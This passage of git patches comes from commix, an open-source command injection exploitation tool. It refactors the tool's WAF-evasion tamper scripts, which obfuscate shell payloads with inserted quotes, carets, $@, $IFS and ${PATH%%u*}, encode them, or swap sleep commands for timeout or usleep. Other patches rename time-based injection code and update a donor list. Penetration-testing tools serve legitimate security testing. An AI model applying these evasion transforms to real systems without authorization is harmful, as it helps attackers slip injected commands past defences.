+18,7 @@ """ -About: Uses backticks instead of "$()" for commands substitution on the generated payloads. +About: Uses backticks (`) instead of "$()" for commands substitution in a given payload. Notes: This tamper script works against Unix-like target(s). """ @@ -28,7 +28,6 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: settings.USE_BACKTICKS = True settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 5d6b299b44..f55967fc75 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -15,8 +15,8 @@ import sys import base64 -from src.thirdparty.six.moves import urllib as _urllib from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Base64 all characters in a given payload. @@ -31,11 +31,8 @@ def tamper(payload): if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: payload = _urllib.parse.unquote(payload) payload = base64.b64encode(payload.encode()) diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index ae7d6ae191..9be8c42ec6 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -19,7 +19,7 @@ from src.utils import settings """ -About: Adds caret symbol (^) between the characters of the generated payloads. +About: Adds caret symbol (^) between the characters in a given payload. Notes: This tamper script works against windows targets. """ @@ -30,7 +30,6 @@ def tamper(payload): def add_caret_symbol(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True if re.compile(r"\w+").findall(payload): long_string = "" if len(max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))) >= 5000: @@ -39,19 +38,15 @@ def add_caret_symbol(payload): "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', - re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^", "") + re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', long_string) : long_string.replace("^", "") } - payload = re.sub(r'([b-zD-Z])', r'^\1', payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', payload) rep = dict((re.escape(k), v) for k, v in rep.items()) pattern = re.compile("|".join(rep.keys())) payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload - if settings.TARGET_OS == settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_caret_symbol(payload) + return add_caret_symbol(payload) else: return payload diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index b8eaedbfae..41b81b4fb6 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -17,20 +17,21 @@ from src.utils import settings """ -About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads. +About: Adds dollar sign followed by an at-sign ($@) between the characters in a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "dollaratsigns" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = "$@" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_dollar_at_signs(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = "$@" - payload = re.sub(r'([e-zE-Z])', lambda x: obf_char + x[0], payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 0af8229673..f387d65eb4 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -17,24 +17,25 @@ from src.utils import settings """ -About: Adds double quotes (") between the characters of the generated payloads. +About: Adds double quotes (") between the characters in a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "doublequotes" +global obf_char + if settings.TRANFROM_PAYLOAD != None: settings.TRANFROM_PAYLOAD = None if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = '""' settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_double_quotes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = '""' if settings.TARGET_OS != settings.OS.WINDOWS: - payload = re.sub(r'([b-zD-Z])', r'""\1', payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'""\1', payload) else: word = "tokens" _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) @@ -44,10 +45,6 @@ def add_double_quotes(payload): if _ in payload: payload = payload.replace(_,_.replace(obf_char, "")) return payload - - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_double_quotes(payload) + return add_double_quotes(payload) # eof \ No newline at end of file diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index b76dd2bb7f..01c3e275a6 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -31,11 +31,8 @@ def tamper(payload): if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: payload = _urllib.parse.unquote(payload) encoded_payload, _ = hexencode(payload) diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index a5e32727e8..73cbe1e3c6 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -17,16 +17,19 @@ from src.utils import settings """ -About: Adds multiple spaces around OS commands +About: Adds multiple spaces around operating system commands in a given payload. Notes: Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. """ __tamper__ = "multiplespaces" +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + def tamper(payload): - if not (settings.TAMPER_SCRIPTS[__tamper__]): - settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.TAMPER_SCRIPTS[__tamper__]: for i in range(0, len(settings.WHITESPACES)): settings.WHITESPACES[i] = settings.WHITESPACES[i] * random.randrange(3, 8) return payload + # eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index c925fd5a59..3227a446e2 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -19,12 +19,15 @@ from src.utils import settings """ -About: Adds double quotes around of the generated payloads (nested). +About: Adds double quotes (") around of a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "nested" +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + def nested(): if menu.options.prefix: menu.options.prefix = "\"" + menu.options.prefix @@ -35,10 +38,8 @@ def nested(): else: menu.options.suffix = "\"" -if not settings.TAMPER_SCRIPTS[__tamper__]: - if settings.TARGET_OS != settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True - nested() +if settings.TARGET_OS != settings.OS.WINDOWS: + nested() def tamper(payload): return payload diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index bdb3d262eb..3a106c62a0 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -22,14 +22,19 @@ __tamper__ = "printf2echo" -settings.TAMPER_SCRIPTS[__tamper__] = True +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def printf_to_echo(payload): if "printf" in payload: - payload = payload.replace("str=$(printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$char'\")", "str=$(echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$char" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs)") + payload = payload.replace(settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX, + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$" + settings.RANDOM_VAR_GENERATOR + "2" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs" + settings.CMD_SUB_SUFFIX + ) + return payload + if settings.TARGET_OS != settings.OS.WINDOWS: + return printf_to_echo(payload) + else: return payload - - return printf_to_echo(payload) # eof \ No newline at end of file diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index b667a40e0d..2229973513 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -14,10 +14,9 @@ """ from src.utils import settings -from src.thirdparty.six.moves import urllib as _urllib """ -About: Is used to reverse (characterwise) the user-supplied operating system commands. +About: Reverses (characterwise) the user-supplied operating system commands in a given payload. Notes: This tamper script works against Unix-like target(s). References: [1] https://github.com/commixproject/commix/issues/408 [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 6fcb308c08..f48b8bb8ff 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -17,31 +17,28 @@ from src.utils import settings """ -About: Adds single quotes (') between the characters of the generated payloads. +About: Adds single quotes (') between the characters in a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "singlequotes" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = "''" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_single_quotes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = "''" - payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) + def add_single_quotes(payload): + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: payload = payload.replace(_,_.replace(obf_char, "")) return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_single_quotes(payload) + return add_single_quotes(payload) else: return payload diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 8a98d650ae..f384aaa8d1 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -29,16 +29,11 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_slash2env(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True + def add_slash2env(payload): payload = payload.replace("/", "${PATH%%u*}") return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_slash2env(payload) + return add_slash2env(payload) else: return payload diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index b4df1750e8..30a39b1881 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -20,7 +20,7 @@ from src.core.injections.controller import checks """ -About: Uses "timeout" function for time-based attacks. +About: Replaces "sleep" with "timeout" command in a given payload. * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". Notes: This tamper script works against all targets. @@ -33,7 +33,6 @@ def tamper(payload): def sleep_to_timeout_ping(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True if settings.TARGET_OS != settings.OS.WINDOWS: for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) @@ -41,10 +40,7 @@ def sleep_to_timeout_ping(payload): else: payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") return payload - - if settings.CLASSIC_STATE != False or \ - settings.EVAL_BASED_STATE != False or \ - settings.FILE_BASED_STATE != False: + if not settings.TIME_RELATIVE_ATTACK: if settings.TRANFROM_PAYLOAD == None: if settings.TRANFROM_PAYLOAD == None: checks.time_relative_tamper(__tamper__) diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 68cf65c0b4..7cf95b8b7e 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -20,7 +20,7 @@ from src.core.injections.controller import checks """ -About: Replaces "sleep" with "usleep" command in the generated payloads. +About: Replaces "sleep" with "usleep" command in a given payload. Notes: This tamper script works against Unix-like target(s). Reference: http://man7.org/linux/man-pages/man3/usleep.3.html """ @@ -32,7 +32,6 @@ def tamper(payload): def sleep_to_usleep(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0] if match.group(0).split(settings.WHITESPACES[0])[1] != "0": @@ -41,11 +40,8 @@ def sleep_to_usleep(payload): usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.CLASSIC_STATE != False or \ - settings.EVAL_BASED_STATE != False or \ - settings.FILE_BASED_STATE != False: + if not settings.TIME_RELATIVE_ATTACK: if settings.TRANFROM_PAYLOAD == None: checks.time_relative_tamper(__tamper__) settings.TRANFROM_PAYLOAD = False diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index 8e9ba90d17..3dacc887de 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -17,7 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with horizontal tab ('%09') +About: Replaces space character (%20) with horizontal tab (%09) in a given payload. Notes: This tamper script works against all targets. """ @@ -28,7 +28,6 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True if len(settings.WHITESPACES) != 0: if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2htab diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 4ed0b1b5cb..6523c84312 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -17,7 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with the internal field separator ('$IFS'). +About: Replaces space character (%20) with the internal field separator ($IFS) in a given payload. The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. Notes: This tamper script works against Unix-like target(s). @@ -33,8 +33,7 @@ def tamper(payload): if len(settings.WHITESPACES) != 0: if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE != False: settings.WHITESPACES[0] = space2ifs - if settings.TARGET_OS != settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2ifs elif space2ifs not in settings.WHITESPACES: diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index c34988cb53..4b9ba1a583 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -17,7 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with plus ('+'). +About: Replaces space character (%20) with plus (+) in a given payload. Notes: This tamper script works against all targets. """ @@ -27,8 +27,7 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True -def tamper(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True +def tamper(payload): if len(settings.WHITESPACES) != 0: if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2plus diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 2535bc147a..ad8a9e2209 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -17,7 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with vertical tab ('%0b'). +About: Replaces space character (%20) with vertical tab (%0b) in a given payload. Notes: This tamper script works against Windows targets. """ @@ -30,7 +30,6 @@ def tamper(payload): if len(settings.WHITESPACES) != 0: if settings.TARGET_OS == settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2vtab elif space2vtab not in settings.WHITESPACES: diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 82da1db664..f26b2429e7 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -19,7 +19,7 @@ from src.utils import settings """ -About: Adds (randomly generated) uninitialized bash variables, between the characters of each command of the generated payloads. +About: Adds (randomly generated) uninitialized bash variables, between the characters of each command in a given payload. Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ @@ -35,8 +35,11 @@ def tamper(payload): def add_uninitialized_variable(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - payload = re.sub(r'([e-zD-Z])', lambda x: obf_char + x[0], payload) + if settings.TAMPER_SCRIPTS["backslashes"] or settings.TAMPER_SCRIPTS["dollaratsigns"]: + err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper scripts: 'backslashes' and/or 'dollaratsigns'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index e6110a555c..1d013ef5f8 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -19,7 +19,7 @@ from src.core.compat import xrange """ -About: Append a fake HTTP header 'X-Forwarded-For' (and alike). +About: Appends a fake HTTP header 'X-Forwarded-For' (and alike). """ __tamper__ = "xforwardedfor" diff --git a/src/utils/settings.py b/src/utils/settings.py index 5a2b8633dd..6231f081d1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1094,6 +1094,9 @@ class AUTH_TYPE(object): USER_APPLIED_TAMPER = "" +# Tamper payload modification letters +TAMPER_MODIFICATION_LETTERS = r'([e-zE-Z])' + # Tamper scripts dict TAMPER_SCRIPTS = { "space2ifs": False, @@ -1114,9 +1117,9 @@ class AUTH_TYPE(object): "dollaratsigns": False, "printf2echo": False, "uninitializedvariable": False, - "slash2env":False, - "backticks":False, - "rev":False + "slash2env": False, + "backticks": False, + "rev": False } UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [ @@ -1156,7 +1159,9 @@ class AUTH_TYPE(object): "then", "else", "fi", + "cmd", "%0d", + "PATH%%u*", RANDOM_VAR_GENERATOR, RANDOM_VAR_GENERATOR + "1", RANDOM_VAR_GENERATOR + "2" From d7394fbfa6664c6fee1f87e0de6f5790e7d05e27 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 5 Mar 2025 07:46:28 +0200 Subject: [PATCH 537/560] Update list of individual donors --- doc/THANKS.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/THANKS.md b/doc/THANKS.md index e353933d03..edc3c7e1be 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -2,6 +2,7 @@ * Thanks [Obrela Security Industries](https://www.obrela.com/) for sponsorship. ## List of individual donors: +* Thanks Joseph Disser for a donation. * Thanks John Brinton for a donation. * Thanks [Himself132](https://github.com/Himself132) for a donation. * Thanks [m3g9tr0n](https://x.com/m3g9tr0n) for a donation. From 73ae56c40a01f0592dd2d9d53ab1d7b0df1053dc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Mar 2025 09:41:51 +0200 Subject: [PATCH 538/560] Changed the text "Time-relative" to "Time-related" in relevant files for improved clarity and consistency. --- doc/CHANGELOG.md | 4 +- .../blind/techniques/time_based/tb_handler.py | 10 ++--- .../techniques/time_based/tb_injector.py | 2 +- src/core/injections/controller/checks.py | 32 +++++++--------- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/enumeration.py | 38 +++++++++---------- src/core/injections/controller/file_access.py | 18 ++++----- src/core/injections/controller/handler.py | 26 ++++++------- src/core/injections/controller/injector.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 10 ++--- .../techniques/tempfile_based/tfb_injector.py | 2 +- src/core/main.py | 4 +- src/core/requests/requests.py | 28 +++++++------- src/core/tamper/sleep2timeout.py | 8 ++-- src/core/tamper/sleep2usleep.py | 3 +- src/utils/settings.py | 9 ++++- 16 files changed, 97 insertions(+), 101 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 81b0ffc55d..b4d19899a1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -502,7 +502,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.0-20160614...v1.1-20160714)._ ## Version 1.0 (2016-06-14) -* Revised: Time-relative statistical analysis for recognition of unexpected time delays due to unstable requests. +* Revised: Time-related statistical analysis for recognition of unexpected time delays due to unstable requests. * Added: A list of pages / scripts potentially vulnerable to shellshock. * Added: The ability to check if the url is probable to contain script(s) vulnerable to shellshock. * Revised: Multiple eye-candy revisions have been performed. @@ -588,7 +588,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.3b-20160115...v0.4b-20160204)._ ## Version 0.3b (2016-01-15) -* Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests. +* Added: Time-related false-positive identification, which identifies unexpected time delays due to unstable requests. * Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e. Burp or WebScarab). * Added: Check if Powershell is enabled in target host, if the applied option's payload is requiring the use of PowerShell. * Added: New option `--ps-version`, that checks PowerShell's version number. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 048740281d..047425eb85 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -26,7 +26,7 @@ The "time-based" injection technique handler. """ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): - return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + return handler.do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -34,9 +34,9 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r """ def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): # Check if attack is based on time delays. - if not settings.TIME_RELATIVE_ATTACK : - checks.time_relative_attaks_msg() - settings.TIME_RELATIVE_ATTACK = True + if not settings.TIME_RELATED_ATTACK : + checks.time_related_attaks_msg() + settings.TIME_RELATED_ATTACK = True tmp_path = "" if url_time_response >= settings.SLOW_TARGET_RESPONSE: @@ -64,6 +64,6 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, pass else: if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: - settings.TIME_RELATIVE_ATTACK = False + settings.TIME_RELATED_ATTACK = False return False # eof diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 2babbe79aa..ce543a5655 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -24,7 +24,7 @@ """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique): OUTPUT_TEXTFILE = "" - return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d6f34fb999..36fab1b190 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1288,9 +1288,9 @@ def time_delay_due_to_unstable_request(timesec): pass """ -Time relative shell condition +Time related shell condition """ -def time_relative_shell(url_time_response, exec_time, timesec): +def time_related_shell(url_time_response, exec_time, timesec): if (url_time_response == 0 and (exec_time - timesec) >= 0) or \ (url_time_response != 0 and (exec_time - timesec) == 0 and (exec_time == timesec)) or \ (url_time_response != 0 and (exec_time - timesec) > 0 and (exec_time >= timesec + 1)): @@ -1299,9 +1299,9 @@ def time_relative_shell(url_time_response, exec_time, timesec): return False """ -Message regarding time relative attcks +Message regarding time related attcks """ -def time_relative_attaks_msg(): +def time_related_attaks_msg(): warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -1453,16 +1453,6 @@ def testable_parameters(url, check_parameters, header_name): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) -""" -Only time-relative injection techniques support tamper -""" -def time_relative_tamper(tamper): - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + tamper + ".py' tamper script." - if menu.options.skip_heuristics: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ Lists available tamper scripts """ @@ -1505,6 +1495,10 @@ def tamper_scripts(stored_tamper_scripts): if not stored_tamper_scripts: settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) warn_msg = "" + if not settings.TIME_RELATED_ATTACK and script in settings.TIME_RELATED_TAMPER_SCRIPTS: + warn_msg = "Only time-related techniques support the usage of '" + script + ".py'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + warn_msg = "" if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "The dynamic code evaluation technique does " elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: @@ -3020,19 +3014,19 @@ def use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_me # continue """ -Set time relative timesec +Set time related timesec """ -def time_relative_timesec(timesec): - if settings.TIME_RELATIVE_ATTACK and settings.TIMESEC < 1: +def time_related_timesec(timesec): + if settings.TIME_RELATED_ATTACK and settings.TIMESEC < 1: timesec = 1 else: timesec = settings.TIMESEC return timesec """ -Export the time relative injection results +Export the time related injection results """ -def time_relative_export_injection_results(cmd, separator, output, check_exec_time): +def time_related_export_injection_results(cmd, separator, output, check_exec_time): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if output != "" and check_exec_time != 0 : diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index f892e9b8bb..486cfbb702 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -61,7 +61,7 @@ def basic_payload_generator(): Initializing basic level check status """ def basic_level_checks(): - settings.TIME_RELATIVE_ATTACK = False + settings.TIME_RELATED_ATTACK = False settings.SKIP_CODE_INJECTIONS = None settings.SKIP_COMMAND_INJECTIONS = None settings.IDENTIFIED_COMMAND_INJECTION = False diff --git a/src/core/injections/controller/enumeration.py 